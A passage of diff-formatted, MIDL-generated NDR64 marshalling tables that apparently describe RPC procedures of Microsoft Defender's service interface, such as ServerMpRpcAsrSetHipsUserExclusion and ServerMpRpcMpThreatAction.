1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2367, + { + /* arg_7 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + } +}; + +static const __midl_frag1553_t __midl_frag1553 = +{ +/* Proc162_ServerMpRpcAsrSetHipsUserExclusion */ + { + /* Proc162_ServerMpRpcAsrSetHipsUserExclusion */ /* procedure Proc162_ServerMpRpcAsrSetHipsUserExclusion */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 96 /* 0x60 */ , /* Stack size */ + (NDR64_UINT32) 104 /* 0x68 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 11 /* 0xb */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag36, + { + /* arg_2 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2266, + { + /* arg_6 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2266, + { + /* arg_7 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2266, + { + /* arg_8 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag2266, + { + /* arg_9 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* arg_10 */ /* parameter arg_10 */ + &__midl_frag2367, + { + /* arg_10 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 88 /* 0x58 */, /* Stack offset */ + } +}; + +static const __midl_frag1548_t __midl_frag1548 = +{ +/* */ + { + /* **Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1545 + } +}; + +static const __midl_frag1547_t __midl_frag1547 = +{ +/* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 +}; + +static const __midl_frag1546_t __midl_frag1546 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag1545_t __midl_frag1545 = +{ +/* **Struct_476_t */ + { + /* **Struct_476_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_476_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1546 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1547 + } +}; + +static const __midl_frag1544_t __midl_frag1544 = +{ +/* Struct_3552_t */ + { + /* Struct_3552_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3552_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag1548, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1543_t __midl_frag1543 = +{ +/* *Struct_3552_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1544 +}; + +static const __midl_frag1542_t __midl_frag1542 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag1541_t __midl_frag1541 = +{ +/* union_3514 */ + { + /* union_3514 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1542, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 0 /* 0x0 */, + &__midl_frag1543, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag1540_t __midl_frag1540 = +{ +/* Struct_3570_t */ + { + /* Struct_3570_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3570_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1541 + }, + { + /* Struct_3570_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1539_t __midl_frag1539 = +{ +/* *Struct_3570_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1540 +}; + +static const __midl_frag1537_t __midl_frag1537 = +{ +/* Proc161_ServerMpRpcMpThreatAction */ + { + /* Proc161_ServerMpRpcMpThreatAction */ /* procedure Proc161_ServerMpRpcMpThreatAction */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1540, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1530_t __midl_frag1530 = +{ +/* Proc160_ServerMpRpcChangeCapability */ + { + /* Proc160_ServerMpRpcChangeCapability */ /* procedure Proc160_ServerMpRpcChangeCapability */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1519_t __midl_frag1519 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag1518_t __midl_frag1518 = +{ +/* **Struct_3370_t */ + { + /* **Struct_3370_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3370_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1519 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3370_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1497 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1662 + } +}; + +static const __midl_frag1517_t __midl_frag1517 = +{ +/* **Struct_3370_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1518 +}; + +static const __midl_frag1515_t __midl_frag1515 = +{ +/* Proc159_ServerMpRpcConveyUserChoiceForDlpNotification */ + { + /* Proc159_ServerMpRpcConveyUserChoiceForDlpNotification */ /* procedure Proc159_ServerMpRpcConveyUserChoiceForDlpNotification */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 72 /* 0x48 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 8 /* 0x8 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1517, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2266, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2266, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2367, + { + /* arg_7 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + } +}; + +static const __midl_frag1510_t __midl_frag1510 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag1497_t __midl_frag1497 = +{ +/* Struct_3370_t */ + { + /* Struct_3370_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3370_t */ + 1, + 1, + 0, 